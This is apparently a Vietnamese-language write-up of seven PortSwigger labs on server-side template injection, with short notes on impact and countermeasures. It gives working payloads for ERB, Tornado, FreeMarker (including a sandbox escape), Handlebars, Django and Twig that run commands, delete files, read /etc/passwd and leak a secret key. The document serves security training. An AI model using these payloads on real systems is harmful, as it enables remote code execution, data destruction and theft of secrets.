---
# System prepended metadata

title: "Portswigger Server-side Template Injection \U0001F976"
tags: [advanced, ssti, portswigger]

---

# Portswigger Server-side Template Injection 🥶

<style>body {text-align: justify}</style>

Hi, dưới đây là writeup của 7/7 bài lab về lỗ hổng [SSTI](https://portswigger.net/web-security/server-side-template-injection) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger.

### 1. Basic server-side template injection

##### Description

> This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.
> 
> To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the `morale.txt` file from Carlos's home directory.

##### Writeup

Khi truy cập post về product đầu tiên thì xuất hiện thông báo `out of stock` được lấy từ tham số `message` trên URL &rarr; Có thể dính XSS hoặc SSTI. Nhưng khi test XSS thì không thành công vì đã bị encode.

![](https://i.imgur.com/jxvaQMv.png)

- **Detect SSTI**: Fuzz `message` bằng các kí tự `${{<%[%'"}}%\` ta thấy server báo lỗi và phát hiện server sử dụng template ERB của Ruby.

![](https://i.imgur.com/xg4ks54.png)

- **Identify**: Đọc syntax của ERB và thử với payload `<%= 7*7 %>`, ta thấy server render ra `49` &rarr; Ứng dụng bị dính SSTI

![](https://i.imgur.com/om7vZGc.png)

- **Exploit**: Sử dụng payload `<%= system('rm /home/carlos/morale.txt') %>` đẻ xóa file `morale.txt` &rarr; server thực thi thành công và trả về `true`.

![](https://i.imgur.com/9jntNAf.png)

Như vậy ta solve được challenge.

![](https://i.imgur.com/XaqvBri.png)

### 2. Basic server-side template injection (code context)

##### Description

> This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the `morale.txt` file from Carlos's home directory.
> 
> You can log in to your own account using the following credentials: `wiener:peter`

##### Writeup

Sau khi đăng nhập, ứng dụng có chức năng chỉnh sửa tên hiển thị của user tại các post theo Name, First Name hoặc Nickname.

![](https://i.imgur.com/4uefhFv.png)

Mặc định là Name &rarr; Comment thử vào 1 post thì thấy hiển thị `Peter Wiener`.

![](https://i.imgur.com/zZdn2bX.png)

Thay đổi cách hiển thị bằng nickname.

![](https://i.imgur.com/KdRTJ6A.png)

Lúc này tên tác giả comment đã đổi thành nickname.

![](https://i.imgur.com/BsAMsxT.png)

- **Detect**: Thử fuzz `blog-post-author-display` bằng các kí tự đặc biệt 

![](https://i.imgur.com/cDZehVH.png)

thì server trả lỗi kèm theo tên template là Tornado.

![](https://i.imgur.com/6WmCoOj.png)

Lúc này có thể mường tưởng rằng server render tên author bằng `{{blog-post-author-display}}`

- **Identify**: Test `blog-post-author-display=7*'7'` ta thấy giả định trên hoàn toàn đúng.

![](https://i.imgur.com/sj4fcWh.png)

- **Exploit**: Sử dụng payload sau theo syntax của Tornado để thực hiện xóa file `morale.txt`.
 
```
blog-post-author-display=7*'7'}}{% import os %}{{os.system('rm /home/carlos/morale.txt')
```

Lúc này ta solve được challenge.

![](https://i.imgur.com/LcCCxjX.png)


### 3. Server-side template injection using documentation

##### Description

> This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the `morale.txt` file from Carlos's home directory.

> You can log in to your own account using the following credentials: `content-manager:C0nt3ntM4n4g3r`

##### Writeup

Sau khi đăng nhập, tại mỗi post, ứng dụng có chức năng cho phép `edit template`.

![](https://i.imgur.com/F1r4WzC.png)

Mình có thể tùy ý sử dụng syntax của template. Mặc định trong file ban đầu, template sử dụng syntax `${}`. Thử với `${7*7}` ta thấy ứng dụng render ra `49` thành công.

![](https://i.imgur.com/BAUZvrA.png)

Khi truyền vào expression lỗi `${a}` thì server báo lỗi chứa tên template là **freemaker**.

![](https://i.imgur.com/aT07aOy.png)

Đọc docs cũng như tham khảo payload có sẵn, ta biết được object `Execute` để RCE. 

`${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}`

Xóa file `morale.txt` và solve challenge thành công.

![](https://i.imgur.com/3JfWA1V.png)

### 4. Server-side template injection in an unknown language with a documented exploit

##### Description

> This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.

##### Writeup

Ứng dụng render lỗi thông qua tham số `message` trên URL.

![](https://i.imgur.com/oPmdp1Q.png)

Fuzz `message` bằng `${{<%[%'"}}%\`, ta thấy server trả lỗi kèm theo tên template engine Handlebars của Nodejs &rarr; Server có thể dính SSTI.

![](https://i.imgur.com/VB9pS5b.png)

Tham khảo payload có sẵn tại [Link](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#handlebars), ta có thể trigger được RCE qua SSTI.

![](https://i.imgur.com/4VQg5kQ.png)

Sửa câu lệnh thành `rm /home/carlos/morale.txt` và gửi request với payload đã được URL-encoded.

![](https://i.imgur.com/P0F5Jkz.png)

Gửi thành công và ta solve được challenge.

![](https://i.imgur.com/aN4VEkt.png)


### 5. Server-side template injection with information disclosure via user-supplied objects

##### Description

> This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.

To solve the lab, steal and submit the framework's secret key.

You can log in to your own account using the following credentials: `content-manager:C0nt3ntM4n4g3r`

##### Writeup

Ứng dụng này cũng cho phép `edit template` tại các post.

Fuzz thử `${{<%[%'"}}%\`, ta thấy server báo lỗi kèm theo tên template engine là Django của Python.

![](https://i.imgur.com/ucTImCT.png)

Sau khi tham khảo docs cũng như [Link](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#django-templates), ta biết được django có hàm built-in `{% debug %}` để leak thông tin debug. Kết quả trả về có chứa object khác `product` là `settings`.

![](https://i.imgur.com/e60yF3I.png)

Thông thường trong ứng dụng Django, secret key sẽ được lưu tại biến `SECRET_KEY` trong object `settings`. Sử dụng syntax `{{ settings.SECRET_KEY }}` và ta lấy được secret key cần tìm.

![](https://i.imgur.com/n4yEnLC.png)

Submit key và ta solve được challenge.

![](https://i.imgur.com/8UJ0jpg.png)

### 6. Server-side template injection in a sandboxed environment

##### Description

> This lab uses the Freemarker template engine. It is vulnerable to server-side template injection due to its poorly implemented sandbox. To solve the lab, break out of the sandbox to read the file my_password.txt from Carlos's home directory. Then submit the contents of the file.
> You can log in to your own account using the following credentials: `content-manager:C0nt3ntM4n4g3r`

##### Writeup

Ứng dụng có chức năng Edit Template sử dụng template engine Freemaker như bài lab 3.

![](https://i.imgur.com/Y2WmKLA.png)

Mình có thể inject expression bất kì theo syntax của Freemaker.

![](https://i.imgur.com/gVKksly.png)

Thử RCE thì bằng payload:

`<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}`

Kết quả trả về  `freemarker.template.utility.Execute is not allowed ...` &rarr; Ứng dụng chỉ cho phép edit trong môi trường sandbox, có thể là **Sandbox is based on method blocklist**.

![](https://i.imgur.com/YnxJ4FZ.png)

Sau khi đọc whitepaper của [Blackhat](https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Safe%20Mode%20presentations/DEF%20CON%20Safe%20Mode%20-%20Alvaro%20Mun%CC%83oz%20and%20Oleksandr%20Mirosh%20-%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%20Of%20Template%20Security.pdf) về cách bypass sandbox, ta có thể dùng 2 cách sau dựa vào object `product` sẵn có:

**Cách 1**: Đọc file bất kì dưới dạng decimal.  

`${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}`

![](https://i.imgur.com/GdhcqLk.png)

Convert decimal to text, ta có được password tại `/home/carlos/my_password.txt`.

![](https://i.imgur.com/eWTtS58.png)

**Cách 2**: RCE bằng payload

```
<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("<SYSTEM CMD>")}
```

RCE với command `cat /home/carlos/my_password.txt`, ta lấy được password cần tìm.

![](https://i.imgur.com/CGIaC1a.png)

Submit password tìm được và ta solve thành công lab.

![](https://i.imgur.com/N3cVdre.png)



### 7. Server-side template injection with a custom exploit

##### Description

> This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file `/.ssh/id_rsa` from Carlos's home directory.
> 
> You can log in to your own account using the following credentials: `wiener:peter`

##### Writeup

Sau khi đăng nhập, ứng dụng chứa 2 chức năng cho phép user thay đổi cách hiển thị tên trong các post và upload avatar.

![](https://i.imgur.com/Ov0tvB0.png)

Tương tự bài lab 2, chức năng thay đổi cách hiển thị tên trong các post bị dính SSTI. Fuzz với payload `${{<%[%'"}}%\`,

![](https://i.imgur.com/ibsIevD.png)

ta thấy server báo lỗi chứa template engine Twig của PHP.

![](https://i.imgur.com/NE6wCvB.png)

Như vậy server có thể render author name bằng `{{blog-post-author-display}}`.

Identify bằng payload: `blog-post-author-display=user.nickname}}{{7*7`

![](https://i.imgur.com/ezMydcy.png)

Ta thấy số `49` đã render thành công. Như vậy mình có thể SSTI tại chức năng này.

Mặt khác, ở chức năng upload avatar, khi upload sai file yêu cầu, một error được trả về từ User class tại `/home/carlos/User.php`. Và server sẽ gọi `User->setAvatar('/tmp/filename', 'MIME_TYPE')` để set avatar cho user.

![](https://i.imgur.com/j4WKca0.png)

Ta sẽ tận dụng lỗi SSTI ở trên để gọi hàm user.setAvatar() với file bất kì rồi xem avatar để lấy được nội dung file đó. Thử payload sau để set avatar là nội dung file `/etc/passwd`.

`blog-post-author-display=user.setAvatar('/etc/passwd')`

Tuy nhiên như đã nói, ta cần thêm 1 tham số MIME_TYPE, 

![](https://i.imgur.com/ou4POsl.png)

và vì avatar yêu cầu file ảnh, nên ta truyền thêm `image/jpeg`.

`blog-post-author-display=user.setAvatar('/etc/passwd','image/jpeg')`

Truy cập xem avatar, ta thấy nội dung file `/etc/passwd` đã được trả về.

![](https://i.imgur.com/7Z9adhC.png)

Sử dụng phương pháp tương tự để xem nội dung class User.

`blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpeg')`

![](https://i.imgur.com/hNHeVoR.png)

Source code class User:

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }

    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }

    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

Hàm `setAvatar(filename, mimetype)` sẽ tạo 1 symlink từ `avatarLink` đến `filename`. Mặt khác hàm gdprDelete() lại có chức xóa cả `avatarLink` và target nó đang link đến (chính là `filename`).

Như vậy mính sẽ set avatar là file cần xóa `'/home/carlos/.ssh/id_rsa'`.

`blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpeg')`

![](https://i.imgur.com/YtLBt9K.png)

Gọi `user.gdprDelete()` để xóa.

`blog-post-author-display=user.gdprDelete()`

Như vậy ta solve được challenge.

![](https://i.imgur.com/Wsw0Qzt.png)

---

## Notes

***Server-side template injection (SSTI)*** is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

**Template engines** are designed to generate web pages by combining *fixed templates* with *volatile data*

**Methodology**
- Detect: `${{<%[%'"}}%\`
- Identify
    ![](https://i.imgur.com/yYUvSwt.png)

- Exploit

**Impact**
- RCE
- Read access to sensitive data and arbitrary files on the server

**Countermeasures**
- Do not allow users to submit template syntax
- Accept to RCE by applying template environment in a locked-down Docker container, for example

###### tags: `portswigger`, `ssti`, `advanced`